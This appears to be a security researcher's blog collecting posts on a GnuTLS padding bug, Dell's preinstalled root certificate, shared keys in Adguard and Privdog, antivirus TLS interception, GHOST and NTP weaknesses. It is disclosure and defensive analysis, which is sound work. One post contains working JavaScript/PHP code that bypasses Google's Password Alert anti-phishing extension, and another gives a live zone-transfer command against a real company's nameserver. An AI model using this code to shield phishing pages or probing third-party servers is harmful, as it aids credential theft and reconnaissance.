Hanno's blog

tl;dr Older GnuTLS versions (2.x) fail to check the first byte of the padding in CBC modes. Various stable Linux distributions, including Ubuntu LTS and Debian wheezy (oldstable) use this version. Current GnuTLS versions are not affected.

A few days ago an email on the ssllabs mailing list catched my attention. A Canonical developer had observed that the SSL Labs test would report the GnuTLS version used in Ubuntu 14.04 (the current long time support version) as vulnerable to the POODLE TLS vulnerability, while other tests for the same vulnerability showed no such issue.

A little background: The original POODLE vulnerability is a weakness of the old SSLv3 protocol that's now officially deprecated. POODLE is based on the fact that SSLv3 does not specify the padding of the CBC modes and the padding bytes can contain arbitrary bytes. A while after POODLE Adam Langley reported that there is a variant of POODLE in TLS, however while the original POODLE is a protocol issue the POODLE TLS vulnerability is an implementation issue. TLS specifies the values of the padding bytes, but some implementations don't check them. Recently Yngve Pettersen reported that there are different variants of this POODLE TLS vulnerability: Some implementations only check parts of the padding. This is the reason why sometimes different tests lead to different results. A test that only changes one byte of the padding will lead to different results than one that changes all padding bytes. Yngve Pettersen uncovered POODLE variants in devices from Cisco (Cavium chip) and Citrix.

I looked at the Ubuntu issue and found that this was exactly such a case of an incomplete padding check: The first byte wasn't checked. I believe this might explain some of the vulnerable hosts Yngve Pettersen found. This is the code:

for (i = 2; i <= pad; i++)
{
if (ciphertext.data[ciphertext.size - i] != pad)
pad_failed = GNUTLS_E_DECRYPTION_FAILED;
}

The padding in TLS is defined that the rightmost byte of the last block contains the length of the padding. This value is also used in all padding bytes. However the length field itself is not part of the padding. Therefore if we have e. g. a padding length of three this would result in four bytes with the value 3. The above code misses one byte. i goes from 2 (setting block length minus 2) to pad (block length minus pad length), which sets pad length minus one bytes. To correct it we need to change the loop to end with pad+1. The code is completely reworked in current GnuTLS versions, therefore they are not affected. Upstream has officially announced the end of life for GnuTLS 2, but some stable Linux distributions still use it.

The story doesn't end here: After I found this bug I talked about it with Juraj Somorovsky. He mentioned that he already read about this before: In the paper of the Lucky Thirteen attack. That was published in 2013 by Nadhem AlFardan and Kenny Paterson. Here's what the Lucky Thirteen paper has to say about this issue on page 13:

for (i = 2; i < pad; i++)
{
if (ciphertext->data[ciphertext->size - i] != ciphertext->data[ciphertext->size - 1])
pad_failed = GNUTLS_E_DECRYPTION_FAILED;
}

It is not hard to see that this loop should also cover the edge case i=pad in order to carry out a full padding check. This means that one byte of what should be padding actually has a free format.

If you look closely you will see that this code is actually different from the one I quoted above. The reason is that the GnuTLS version in question already contained a fix that was applied in response to the Lucky Thirteen paper. However what the Lucky Thirteen paper missed is that the original check was off by two bytes, not just one byte. Therefore it only got an incomplete fix reducing the attack surface from two bytes to one.

In a later commit this whole code was reworked in response to the Lucky Thirteen attack and there the problem got fixed for good. However that change never made it into version 2 of GnuTLS. Red Hat / CentOS packages contain a backport patch of those changes, therefore they are not affected.

You might wonder what the impact of this bug is. I'm not totally familiar with the details of all the possible attacks, but the POODLE attack gets increasingly harder if fewer bytes of the padding can be freely set. It most likely is impossible if there is only one byte. The Lucky Thirteen paper says: "This would enable, for example, a variant of the short MAC attack of [28] even if variable length padding was not supported.". People that know more about crypto than I do should be left with the judgement whether this might be practically exploitabe.

Fixing this bug is a simple one-line patch I have attached here. This will silence all POODLE checks, however this doesn't apply all the changes that were made in response to the Lucky Thirteen attack. I'm not sure if the code is practically vulnerable, but Lucky Thirteen is a tricky issue, recently a variant of that attack was shown against Amazon's s2n library.

The missing padding check for the first byte got CVE-2015-8313 assigned. Currently I'm aware of Ubuntu LTS (now fixed) and Debian oldstable (Wheezy) being affected.

tl;dr Dell laptops come preinstalled with a root certificate and a corresponding private key. That completely compromises the security of encrypted HTTPS connections. I've provided an online check, affected users should delete the certificate.

It seems that Dell hasn't learned anything from the Superfish-scandal earlier this year: Laptops from the company come with a preinstalled root certificate that will be accepted by browsers. The private key is also installed on the system and has been published now. Therefore attackers can use Man in the Middle attacks against Dell users to show them manipulated HTTPS webpages or read their encrypted data.

The certificate, which is installed in the system's certificate store under the name "eDellRoot", gets installed by a software called Dell Foundation Services. This software is still available on Dell's webpage. According to the somewhat unclear description from Dell it is used to provide "foundational services facilitating customer serviceability, messaging and support functions".

The private key of this certificate is marked as non-exportable in the Windows certificate store. However this provides no real protection, there are Tools to export such non-exportable certificate keys. A user of the plattform Reddit has posted the Key there.

For users of the affected Laptops this is a severe security risk. Every attacker can use this root certificate to create valid certificates for arbitrary web pages. Even HTTP Public Key Pinning (HPKP) does not protect against such attacks, because browser vendors allow locally installed certificates to override the key pinning protection. This is a compromise in the implementation that allows the operation of so-called TLS interception proxies.

I was made aware of this issue a while ago by Kristof Mattei. We asked Dell for a statement three weeks ago and didn't get any answer.

It is currently unclear which purpose this certificate served. However it seems unliklely that it was placed there deliberately for surveillance purposes. In that case Dell wouldn't have installed the private key on the system.

Affected are only users that use browsers or other applications that use the system's certificate store. Among the common Windows browsers this affects the Internet Explorer, Edge and Chrome. Not affected are Firefox-users, Mozilla's browser has its own certificate store.

Users of Dell laptops can check if they are affected with an online check tool. Affected users should immediately remove the certificate in the Windows certificate manager. The certificate manager can be started by clicking "Start" and typing in "certmgr.msc". The "eDellRoot" certificate can be found under "Trusted Root Certificate Authorities". You also need to remove the file Dell.Foundation.Agent.Plugins.eDell.dll, Dell has now posted an instruction and a removal tool.

This incident is almost identical with the Superfish-incident. Earlier this year it became public that Lenovo had preinstalled a software called Superfish on its Laptops. Superfish intercepts HTTPS-connections to inject ads. It used a root certificate for that and the corresponding private key was part of the software. After that incident several other programs with the same vulnerability were identified, they all used a software module called Komodia. Similar vulnerabilities were found in other software products, for example in Privdog and in the ad blocker Adguard.

This article is mostly a translation of a German article I wrote for Golem.de.

Image source and license: Wistula / Wikimedia Commons, Creative Commons by 3.0

Update (2015-11-24): Second Dell root certificate DSDTestProvider

I just found out that there is a second root certificate installed with some Dell software that causes exactly the same issue. It is named DSDTestProvider and comes with a software called Dell System Detect. Unlike the Dell Foundations Services this one does not need a Dell computer to be installed, therefore it was trivial to extract the certificate and the private key. My online test now checks both certificates. This new certificate is not covered by Dell's removal instructions yet.

Dell has issued an official statement on their blog and in the comment section a user mentioned this DSDTestProvider certificate. After googling what DSD might be I quickly found it. There have been concerns about the security of Dell System Detect before, Malwarebytes has an article about it from April mentioning that it was vulnerable to a remote code execution vulnerability.

Update (2015-11-26): Service tag information disclosure

Another unrelated issue on Dell PCs was discovered in a tool called Dell Foundation Services. It allows webpages to read an unique service tag. There's also an online check.

In February the discovery of a software called Superfish caused widespread attention. Superfish caused a severe security vulnerability by intercepting HTTPS connections with a Man-in-the-Middle-certificate. The certificate and the corresponding private key was shared amongst all installations.

The use of Man-in-the-Middle-proxies for traffic interception is a widespread method, an application installs a root certificate into the browser and later intercepts connections by creating signed certificates for webpages on the fly. It quickly became clear that Superfish was only the tip of the iceberg. The underlying software module Komodia was used in a whole range of applications all suffering from the same bug. Later another software named Privdog was found that also intercepted HTTPS traffic and I published a blog post explaining that it was broken in a different way: It completely failed to do any certificate verification on its connections.

In a later blogpost I analyzed several Antivirus applications that also intercept HTTPS traffic. They were not as broken as Superfish or Privdog, but all of them decreased the security of the TLS encryption in one way or another. The most severe issue was that Kaspersky was at that point still vulnerable to the FREAK bug, more than a month after it was discovered. In a comment to that blogpost I was asked about a software called Adguard. I have to apologize that it took me so long to write this up.

Different certificate, same key

The first thing I did was to install Adguard two times in different VMs and look at the root certificate that got installed into the browser. The fingerprint of the certificates was different. However a closer look revealed something interesting: The RSA modulus was the same. It turned out that Adguard created a new root certificate with a changing serial number for every installation, but it didn't generate a new key. Therefore it is vulnerable to the same attacks as Superfish.

I reported this issue to Adguard. Adguard has fixed this issue, however they still intercept HTTPS traffic.

I learned that Adguard did not always use the same key, instead it chose one out of ten different keys based on the CPU. All ten keys could easily be extracted from a file called ProtocolFilters.dll that was shipped with Adguard. Older versions of Adguard only used one key shared amongst all installations. There also was a very outdated copy of the nss library. It suffers from various vulnerabilities, however it seems they are not exploitable. The library is not used for TLS connections, its only job is to install certificates into the Firefox root store.

Meet Privdog again

The outdated nss version gave me a hint, because I had seen this before: In Privdog. I had spend some time trying to find out if Privdog would be vulnerable to known nss issues (which had the positive side effect that Filippo created proof of concept code for the BERserk vulnerability). What I didn't notice back then was the shared key issue. Privdog also used the same key amongst different installations. So it turns out Privdog was completely broken in two different ways: By sharing the private key amongst installations and by not verifying certificates.

The latest version of Privdog no longer intercepts HTTPS traffic, it works as a browser plugin now. I don't know whether this vulnerability was still present after the initial fix caused by my original blog post.

Now what is this ProtocolFilters.dll? It is a commercial software module that is supposed to be used along with a product called Netfilter SDK. I wondered where else this would be found and if we would have another widely used software module like Komodia.

ProtocolFilters.dll is mentioned a lot in the web, mostly in the context of Potentially Unwanted Applications, also called Crapware. That means software that is either preinstalled or that gets bundled with installers from other software and is often installed without users consent or by tricking the user into clicking some "ok" button without knowing that he or she agrees to install another software. Unfortunately I was unable to get my hands on any other software using it.

Lots of "Potentially Unwanted Applications" use ProtocolFilters.dll

Software names that I found that supposedly include ProtocolFilters.dll: Coupoon, CashReminder, SavingsDownloader, Scorpion Saver, SavingsbullFilter, BRApp, NCupons, Nurjax, Couponarific, delshark, rrsavings, triosir, screentk. If anyone has any of them or any other piece of software bundling ProtocolFilters.dll I'd be interested in receiving a copy.

I'm publishing all Adguard keys and the Privdog key together with example certificates here. I also created a trivial script that can be used to extract keys from ProtocolFilters.dll (or other binary files that include TLS private keys in their binary form). It looks for anything that could be a private key by its initial bytes and then calls OpenSSL to try to decode it. If OpenSSL succeeds it will dump the key.

Finally an announcement for visitors of the Chaos Communication Camp: I will give a talk about TLS interception issues and the whole story of Superfish, Privdog and friends on Sunday.

Update: Due to the storm the talk was delayed. It will happen on Monday at 12:30 in Track South.

A few days ago Google released a Chrome extension that emits a warning if a user types in his Google account password on a foreign webpage. This is meant as a protection against phishing pages. Code is on Github and the extension can be installed through Google's Chrome Web Store.

When I heard this the first time I already thought that there are probably multiple ways to bypass that protection with some Javascript trickery. Seems I was right. Shortly after the extension was released security researcher Paul Moore published a way to bypass the protection by preventing the popup from being opened. This was fixed in version 1.4.

At that point I started looking into it myself. Password Alert tries to record every keystroke from the user and checks if that matches the password (it doesn't store the password, only a hash). My first thought was to simulate keystrokes via Javascript. I have to say that my Javascript knowledge is close to nonexistent, but I can use Google and read Stackoverflow threads, so I came up with this:

<script>
function simkey(e) {
if (e.which==0) return;
var ev=document.createEvent("KeyboardEvent");
ev.initKeyboardEvent("keypress", true, true, window, 0, 0, 0, 0, 0, 0);
document.getElementById("pw").dispatchEvent(ev);
}
</script>
<form action="" method="POST">
<input type="password" id="pw" name="pw" onkeypress="simkey(event);">
<input type="submit">
</form>

For every key a user presses this generates a Javascript KeyboardEvent. This is enough to confuse the extension. I reported this to the Google Security Team and Andrew Hintz. Literally minutes before I sent the mail a change was committed that did some sanity checks on the events and thus prevented my bypass from working (it checks the charcode and it seems there is no way in webkit to generate a KeyboardEvent with a valid charcode).

While I did that Paul Moore also created another bypass which relies on page reloads. A new version 1.6 was released fixing both my and Moores bypass.

I gave it another try and after a couple of failures I came up with a method that still works. The extension will only store keystrokes entered on one page. So what I did is that on every keystroke I create a popup (with the already typed password still in the form field) and close the current window. The closing doesn't always work, I'm not sure why that's the case, this can probably be improved somehow. There's also some flickering in the tab bar. The password is passed via URL, this could also happen otherwise (converting that from GET to POST variable is left as an exercise to the reader). I'm also using PHP here to insert the variable into the form, this could be done in pure Javascript. Here's the code, still working with the latest version:

<script>
function rlt() {
window.open("https://test.hboeck.de/pw2/?val="+document.getElementById("pw").value);
self.close();
}
</script>
<form action="." method="POST">
<input type="text" name="pw" id="pw" onkeyup="rlt();" onfocus="this.value=this.value;" value="<?php
if (isset($_GET['val'])) echo $_GET['val'];
?>">
<input type="submit">
<script>
document.getElementById("pw").focus();
</script>

Honestly I have a lot of doubts if this whole approach is a good idea. There are just too many ways how this can be bypassed. I know that passwords and phishing are a big problem, I just doubt this is the right approach to tackle it.

One more thing: When I first tested this extension I was confused, because it didn't seem to work. What I didn't know is that this purely relies on keystrokes. That means when you copy-and-paste your password (e. g. from some textfile in a crypto container) then the extension will provide you no protection. At least to me this was very unexpected behaviour.

I recently was made aware of an issue that many authoritative nameservers answer to AXFR requests. AXFR is a feature of the Domain Name System (DNS) that allows to query complete zones from a name server. That means one can find out all subdomains for a given domain.

If you want to see how this looks Verizon kindly provides you a DNS server that will answer with a very large zone to AXFR requests:
dig axfr verizonwireless.com @ns-scrm.verizonwireless.com

This by itself is not a security issue. It can however become a problem if people consider some of their subdomains / URLs secret. While checking this issue I found one example where such a subdomain contained a logging interface that exposed data that was certainly not meant to be public. However it is a bad idea in general to have "secret" subdomains, because there is no way to keep them really secret. DNS itself is not encrypted, therefore by sniffing your traffic it is always possible to see your "secret" subdomains.

AXFR is usually meant to be used between trusting name servers and requests by public IPs should not be answered. While it is in theory possible that someone considers publicly available AXFR a desired feature I assume in the vast majority these are just misconfigurations and were never intended to be public. I contacted a number of these and when they answered none of them claimed that this was an intended configuration. I'd generally say that it's wise to disable services you don't need. Recently US-CERT has issued an advisory about this issue.

I have made a scan of the Alexa top 1 million web pages and checked if their DNS server answers to AXFR requests. The University of Michigan has a project to collect data from Internet scans and I submitted my scan results to them. So you're welcome to download and analyze the data.

Lately a lot of attention has been payed to software like Superfish and Privdog that intercepts TLS connections to be able to manipulate HTTPS traffic. These programs had severe (technically different) vulnerabilities that allowed attacks on HTTPS connections.

What these tools do is a widespread method. They install a root certificate into the user's browser and then they perform a so-called Man in the Middle attack. They present the user a certificate generated on the fly and manage the connection to HTTPS servers themselves. Superfish and Privdog did this in an obviously wrong way, Superfish by using the same root certificate on all installations and Privdog by just accepting every invalid certificate from web pages. What about other software that also does MitM interception of HTTPS traffic?

Antivirus software intercepts your HTTPS traffic

Many Antivirus applications and other security products use similar techniques to intercept HTTPS traffic. I had a closer look at three of them: Avast, Kaspersky and ESET. Avast enables TLS interception by default. By default Kaspersky intercepts connections to certain web pages (e. g. banking), there is an option to enable interception by default. In ESET TLS interception is generally disabled by default and can be enabled with an option.

When a security product intercepts HTTPS traffic it is itself responsible to create a TLS connection and check the certificate of a web page. It has to do what otherwise a browser would do. There has been a lot of debate and progress in the way TLS is done in the past years. A number of vulnerabilities in TLS (upon them BEAST, CRIME, Lucky Thirteen, FREAK and others) allowed to learn much more how to do TLS in a secure way. Also, problems with certificate authorities that issued malicious certificates (Diginotar, Comodo, Türktrust and others) led to the development of mitigation technologies like HTTP Public Key Pinning (HPKP) and Certificate Transparency to strengthen the security of Certificate Authorities. Modern browsers protect users much better from various threats than browsers used several years ago.

You may think: "Of course security products like Antivirus applications are fully aware of these developments and do TLS and certificate validation in the best way possible. After all security is their business, so they have to get it right." Unfortunately that's only what's happening in some fantasy IT security world that only exists in the minds of people that listened to industry PR too much. The real world is a bit different: All Antivirus applications I checked lower the security of TLS connections in one way or another.

Disabling of HTTP Public Key Pinning

Each and every TLS intercepting application I tested breaks HTTP Public Key Pinning (HPKP). It is a technology that a lot of people in the IT security community are pretty excited about: It allows a web page to pin public keys of certificates in a browser. On subsequent visits the browser will only accept certificates with these keys. It is a very effective protection against malicious or hacked certificate authorities issuing rogue certificates.

Browsers made a compromise when introducing HPKP. They won't enable the feature for manually installed certificates. The reason for that is simple (although I don't like it): If they hadn't done that they would've broken all TLS interception software like these Antivirus applications. But the applications could do the HPKP checking themselves. They just don't do it.

Kaspersky vulnerable to FREAK and CRIME

Having a look at Kaspersky, I saw that it is vulnerable to the FREAK attack, a vulnerability in several TLS libraries that was found recently. Even worse: It seems this issue has been reported publicly in the Kaspersky Forums more than a month ago and it is not fixed yet. Please remember: Kaspersky enables the HTTPS interception by default for sites it considers as especially sensitive, for example banking web pages. Doing that with a known security issue is extremely irresponsible.

I also found a number of other issues. ESET doesn't support TLS 1.2 and therefore uses a less secure encryption algorithm. Avast and ESET don't support OCSP stapling. Kaspersky enables the insecure TLS compression feature that will make a user vulnerable to the CRIME attack. Both Avast and Kaspersky accept nonsensical parameters for Diffie Hellman key exchanges with a size of 8 bit. Avast is especially interesting because it bundles the Google Chrome browser. It installs a browser with advanced HTTPS features and lowers its security right away.

These TLS features are all things that current versions of Chrome and Firefox get right. If you use them in combination with one of these Antivirus applications you lower the security of HTTPS connections.

There's one more interesting thing: Both Kaspersky and Avast don't intercept traffic when Extended Validation (EV) certificates are used. Extended Validation certificates are the ones that show you a green bar in the address line of the browser with the company name. The reason why they do so is obvious: Using the interception certificate would remove the green bar which users might notice and find worrying. The message the Antivirus companies are sending seems clear: If you want to deliver malware from a web page you should buy an Extended Validation certificate.

Everyone gets HTTPS interception wrong - just don't do it

So what do we make out of this? A lot of software products intercept HTTPS traffic (antiviruses, adware, youth protection filters, ...), many of them promise more security and everyone gets it wrong.

I think these technologies are a misguided approach. The problem is not that they make mistakes in implementing these technologies, I think the idea is wrong from the start. Man in the Middle used to be a description of an attack technique. It seems strange that it turned into something people consider a legitimate security technology. Filtering should happen on the endpoint or not at all. Browsers do a lot these days to make your HTTPS connections more secure. Please don't mess with that.

I question the value of Antivirus software in a very general sense, I think it's an approach that has very fundamental problems in itself and often causes more harm than good. But at the very least they should try not to harm other working security mechanisms.

(You may also want to read this EFF blog post: Dear Software Vendors: Please Stop Trying to Intercept Your Customers’ Encrypted Traffic)

Just wanted to quickly announce two talks I'll give in the upcoming weeks: One at BSidesHN (Hannover, 20th March) about some findings related to PGP and keyservers and one at the Easterhegg (Braunschweig, 4th April) about the current state of TLS.

A look at the PGP ecosystem and its keys

PGP-based e-mail encryption is widely regarded as an important tool to provide confidential and secure communication. The PGP ecosystem consists of the OpenPGP standard, different implementations (mostly GnuPG and the original PGP) and keyservers.

The PGP keyservers operate on an add-only basis. That means keys can only be uploaded and never removed. We can use these keyservers as a tool to investigate potential problems in the cryptography of PGP-implementations. Similar projects regarding TLS and HTTPS have uncovered a large number of issues in the past.

The talk will present a tool to parse the data of PGP keyservers and put them into a database. It will then have a look at potential cryptographic problems. The tools used will be published under a free license after the talk.

Update:
Source code
A look at the PGP ecosystem through the key server data (background paper)
Slides

Some tales from TLS

The TLS protocol is one of the foundations of Internet security. In recent years it's been under attack: Various vulnerabilities, both in the protocol itself and in popular implementations, showed how fragile that foundation is.

On the other hand new features allow to use TLS in a much more secure way these days than ever before. Features like Certificate Transparency and HTTP Public Key Pinning allow us to avoid many of the security pitfals of the Certificate Authority system.

Update: Slides and video available. Bonus: Contains rant about DNSSEC/DANE.

Slides PDF, LaTeX, Slideshare
Video recording, also on Youtube

On Tuesday details about the security vulnerability GHOST in Glibc were published by the company Qualys. When severe security vulnerabilities hit the news I always like to take this as a chance to learn what can be improved and how to avoid similar incidents in the future (see e. g. my posts on Heartbleed/Shellshock, POODLE/BERserk and NTP lately).

GHOST itself is a Heap Overflow in the name resolution function of the Glibc. The Glibc is the standard C library on Linux systems, almost every software that runs on a Linux system uses it. It is somewhat unclear right now how serious GHOST really is. A lot of software uses the affected function gethostbyname(), but a lot of conditions have to be met to make this vulnerability exploitable. Right now the most relevant attack is against the mail server exim where Qualys has developed a working exploit which they plan to release soon. There have been speculations whether GHOST might be exploitable through Wordpress, which would make it much more serious.

Technically GHOST is a heap overflow, which is a very common bug in C programming. C is inherently prone to these kinds of memory corruption errors and there are essentially two things here to move forwards: Improve the use of exploit mitigation techniques like ASLR and create new ones (levee is an interesting project, watch this 31C3 talk). And if possible move away from C altogether and develop core components in memory safe languages (I have high hopes for the Mozilla Servo project, watch this linux.conf.au talk).

GHOST was discovered three times

But the thing I want to elaborate here is something different about GHOST: It turns out that it has been discovered independently three times. It was already fixed in 2013 in the Glibc Code itself. The commit message didn't indicate that it was a security vulnerability. Then in early 2014 developers at Google found it again using Address Sanitizer (which – by the way – tells you that all software developers should use Address Sanitizer more often to test their software). Google fixed it in Chrome OS and explicitly called it an overflow and a vulnerability. And then recently Qualys found it again and made it public.

Now you may wonder why a vulnerability fixed in 2013 made headlines in 2015. The reason is that it widely wasn't fixed because it wasn't publicly known that it was serious. I don't think there was any malicious intent. The original Glibc fix was probably done without anyone noticing that it is serious and the Google devs may have thought that the fix is already public, so they don't need to make any noise about it. But we can clearly see that something doesn't work here. Which brings us to a discussion how the Linux and free software world in general and vulnerability management in particular work.

The “Never touch a running system” principle

Quite early when I came in contact with computers I heard the phrase “Never touch a running system”. This may have been a reasonable approach to IT systems back then when computers usually weren't connected to any networks and when remote exploits weren't a thing, but it certainly isn't a good idea today in a world where almost every computer is part of the Internet. Because once new security vulnerabilities become public you should change your system and fix them. However that doesn't change the fact that many people still operate like that.

A number of Linux distributions provide “stable” or “Long Time Support” versions. Basically the idea is this: At some point they take the current state of their systems and further updates will only contain important fixes and security updates. They guarantee to fix security vulnerabilities for a certain time frame. This is kind of a compromise between the “Never touch a running system” approach and reasonable security. It tries to give you a system that will basically stay the same, but you get fixes for security issues. Popular examples for this approach are the stable branch of Debian, Ubuntu LTS versions and the Enterprise versions of Red Hat and SUSE.

To give you an idea about time frames, Debian currently supports the stable trees Squeeze (6.0) which was released 2011 and Wheezy (7.0) which was released 2013. Red Hat Enterprise Linux has currently 4 supported version (4, 5, 6, 7), the oldest one was originally released in 2005. So we're talking about pretty long time frames that these systems get supported. Ubuntu and Suse have similar long time supported Systems.

These systems are delivered with an implicit promise: We will take care of security and if you update regularly you'll have a system that doesn't change much, but that will be secure against know threats. Now the interesting question is: How well do these systems deliver on that promise and how hard is that?

Vulnerability management is chaotic and fragile

I'm not sure how many people are aware how vulnerability management works in the free software world. It is a pretty fragile and chaotic process. There is no standard way things work. The information is scattered around many different places. Different people look for vulnerabilities for different reasons. Some are developers of the respective projects themselves, some are companies like Google that make use of free software projects, some are just curious people interested in IT security or researchers. They report a bug through the channels of the respective project. That may be a mailing list, a bug tracker or just a direct mail to the developer. Hopefully the developers fix the issue. It does happen that the person finding the vulnerability first has to explain to the developer why it actually is a vulnerability. Sometimes the fix will happen in a public code repository, sometimes not. Sometimes the developer will mention that it is a vulnerability in the commit message or the release notes of the new version, sometimes not. There are notorious projects that refuse to handle security vulnerabilities in a transparent way. Sometimes whoever found the vulnerability will post more information on his/her blog or on a mailing list like full disclosure or oss-security. Sometimes not. Sometimes vulnerabilities get a CVE id assigned, sometimes not.

Add to that the fact that in many cases it's far from clear what is a security vulnerability. It is absolutely common that if you ask the people involved whether this is serious the best and most honest answer they can give is “we don't know”. And very often bugs get fixed without anyone noticing that it even could be a security vulnerability.

Then there are projects where the number of security vulnerabilities found and fixed is really huge. The latest Chrome 40 release had 62 security fixes, version 39 had 42. Chrome releases a new version every two months. Browser vulnerabilities are found and fixed on a daily basis. Not that extreme but still high is the vulnerability count in PHP, which is especially worrying if you know that many webhosting providers run PHP versions not supported any more.

So you probably see my point: There is a very chaotic stream of information in various different places about bugs and vulnerabilities in free software projects. The number of vulnerabilities is huge. Making a promise that you will scan all this information for security vulnerabilities and backport the patches to your operating system is a big promise. And I doubt anyone can fulfill that.

GHOST is a single example, so you might ask how often these things happen. At some point right after GHOST became public this excerpt from the Debian Glibc changelog caught my attention (excuse the bad quality, had to take the image from Twitter because I was unable to find that changelog on Debian's webpages):



What you can see here: While Debian fixed GHOST (which is CVE-2015-0235) they also fixed CVE-2012-6656 – a security issue from 2012. Admittedly this is a minor issue, but it's a vulnerability nevertheless. A quick look at the Debian changelog of Chromium both in squeeze and wheezy will tell you that they aren't fixing all the recent security issues in it. (Debian already had discussions about removing Chromium and in Wheezy they don't stick to a single version.)

It would be an interesting (and time consuming) project to take a package like PHP and check for all the security vulnerabilities whether they are fixed in the latest packages in Debian Squeeze/Wheezy, all Red Hat Enterprise versions and other long term support systems. PHP is probably more interesting than browsers, because the high profile targets for these vulnerabilities are servers. What worries me: I'm pretty sure some people already do that. They just won't tell you and me, instead they'll write their exploits and sell them to repressive governments or botnet operators.

Then there are also stories like this: Tavis Ormandy reported a security issue in Glibc in 2012 and the people from Google's Project Zero went to great lengths to show that it is actually exploitable. Reading the Glibc bug report you can learn that this was already reported in 2005(!), just nobody noticed back then that it was a security issue and it was minor enough that nobody cared to fix it.

There are also bugs that require changes so big that backporting them is essentially impossible. In the TLS world a lot of protocol bugs have been highlighted in recent years. Take Lucky Thirteen for example. It is a timing sidechannel in the way the TLS protocol combines the CBC encryption, padding and authentication. I like to mention this bug because I like to quote it as the TLS bug that was already mentioned in the specification (RFC 5246, page 23: "This leaves a small timing channel"). The real fix for Lucky Thirteen is not to use the erratic CBC mode any more and switch to authenticated encryption modes which are part of TLS 1.2. (There's another possible fix which is using Encrypt-then-MAC, but it is hardly deployed.) Up until recently most encryption libraries didn't support TLS 1.2. Debian Squeeze and Red Hat Enterprise 5 ship OpenSSL versions that only support TLS 1.0. There is no trivial patch that could be backported, because this is a huge change. What they likely backported are workarounds that avoid the timing channel. This will stop the attack, but it is not a very good fix, because it keeps the problematic old protocol and will force others to stay compatible with it.

LTS and stable distributions are there for a reason

The big question is of course what to do about it. OpenBSD developer Ted Unangst wrote a blog post yesterday titled Long term support considered harmful, I suggest you read it. He argues that we should get rid of long term support completely and urge users to upgrade more often. OpenBSD has a 6 month release cycle and supports two releases, so one version gets supported for one year.

Given what I wrote before you may think that I agree with him, but I don't. While I personally always avoided to use too old systems – I 'm usually using Gentoo which doesn't have any snapshot releases at all and does rolling releases – I can see the value in long term support releases. There are a lot of systems out there – connected to the Internet – that are never updated. Taking away the option to install systems and let them run with relatively little maintenance overhead over several years will probably result in more systems never receiving any security updates. With all its imperfectness running a Debian Squeeze with the latest updates is certainly better than running an operating system from 2011 that stopped getting security fixes in 2012.

Improving the information flow

I don't think there is a silver bullet solution, but I think there are things we can do to improve the situation. What could be done is to coordinate and share the work. Debian, Red Hat and other distributions with stable/LTS versions could agree that their next versions are based on a specific Glibc version and they collaboratively work on providing patch sets to fix all the vulnerabilities in it. This already somehow happens with upstream projects providing long term support versions, the Linux kernel does that for example. Doing that at scale would require vast organizational changes in the Linux distributions. They would have to agree on a roughly common timescale to start their stable versions.

What I'd consider the most crucial thing is to improve and streamline the information flow about vulnerabilities. When Google fixes a vulnerability in Chrome OS they should make sure this information is shared with other Linux distributions and the public. And they should know where and how they should share this information.

One mechanism that tries to organize the vulnerability process is the system of CVE ids. The idea is actually simple: Publicly known vulnerabilities get a fixed id and they are in a public database. GHOST is CVE-2015-0235 (the scheme will soon change because four digits aren't enough for all the vulnerabilities we find every year). I got my first CVEs assigned in 2007, so I have some experiences with the CVE system and they are rather mixed. Sometimes I briefly mention rather minor issues in a mailing list thread and a CVE gets assigned right away. Sometimes I explicitly ask for CVE assignments and never get an answer.

I would like to see that we just assign CVEs for everything that even remotely looks like a security vulnerability. However right now I think the process is to unreliable to deliver that. There are other public vulnerability databases like OSVDB, I have limited experience with them, so I can't judge if they'd be better suited. Unfortunately sometimes people hesitate to request CVE ids because others abuse the CVE system to count assigned CVEs and use this as a metric how secure a product is. Such bad statistics are outright dangerous, because it gives people an incentive to downplay vulnerabilities or withhold information about them.

This post was partly inspired by some discussions on oss-security

Update: This blogpost was written before NTS was available, and the information is outdated. If you are looking for a modern solution, I recommend using software and a time server with Network Time Security, as specified in RFC 8915.

tl;dr Several severe vulnerabilities have been found in the time setting software NTP. The Network Time Protocol is not secure anyway due to the lack of a secure authentication mechanism. Better use tlsdate.

Today several severe vulnerabilities in the NTP software were published. On Linux and other Unix systems running the NTP daemon is widespread, so this will likely cause some havoc. I wanted to take this opportunity to argue that I think that NTP has to die.

In the old times before we had the Internet our computers already had an internal clock. It was just up to us to make sure it shows the correct time. These days we have something much more convenient – and less secure. We can set our clocks through the Internet from time servers. This is usually done with NTP.

NTP is pretty old, it was developed in the 80s, Wikipedia says it's one of the oldest Internet protocols in use. The standard NTP protocol has no cryptography (that wasn't really common in the 80s). Anyone can tamper with your NTP requests and send you a wrong time. Is this a problem? It turns out it is. Modern TLS connections increasingly rely on the system time as a part of security concepts. This includes certificate expiration, OCSP revocation checks, HSTS and HPKP. All of these have security considerations that in one way or another expect the time of your system to be correct.

Practical attack against HSTS on Ubuntu

At the Black Hat Europe conference last October in Amsterdam there was a talk presenting a pretty neat attack against HSTS (the background paper is here, unfortunately there seems to be no video of the talk). HSTS is a protocol to prevent so-called SSL-Stripping-Attacks. What does that mean? In many cases a user goes to a web page without specifying the protocol, e. g. he might just type www.example.com in his browser or follow a link from another unencrypted page. To avoid attacks here a web page can signal the browser that it wants to be accessed exclusively through HTTPS for a defined amount of time. TLS security is just an example here, there are probably other security mechanisms that in some way rely on time.

Here's the catch: The defined amount of time depends on a correct time source. On some systems manipulating the time is as easy as running a man in the middle attack on NTP. At the Black Hat talk a live attack against an Ubuntu system was presented. He also published his NTP-MitM-tool called Delorean. Some systems don't allow arbitrary time jumps, so there the attack is not that easy. But the bottom line is: The system time can be important for application security, so it needs to be secure. NTP is not.

Now there is an authenticated version of NTP. It is rarely used, but there's another catch: It has been shown to be insecure and nobody has bothered to fix it yet. There is a pre-shared-key mode that is not completely insecure, but that is not really practical for widespread use. So authenticated NTP won't rescue us. The latest versions of Chrome shows warnings in some situations when a highly implausible time is detected. That's a good move, but it's not a replacement for a secure system time.

There is another problem with NTP and that's the fact that it's using UDP. It can be abused for reflection attacks. UDP has no way of checking that the sender address of a network package is the real sender. Therefore one can abuse UDP services to amplify Denial-of-Service-attacks if there are commands that have a larger reply. It was found that NTP has such a command called monlist that has a large amplification factor and it was widely enabled until recently. Amplification is also a big problem for DNS servers, but that's another toppic.

tlsdate can improve security

While there is no secure dedicated time setting protocol, there is an alternative: TLS. A TLS packet contains a timestamp and that can be used to set your system time. This is kind of a hack. You're taking another protocol that happens to contain information about the time. But it works very well, there's a tool called tlsdate together with a timesetting daemon tlsdated written by Jacob Appelbaum.

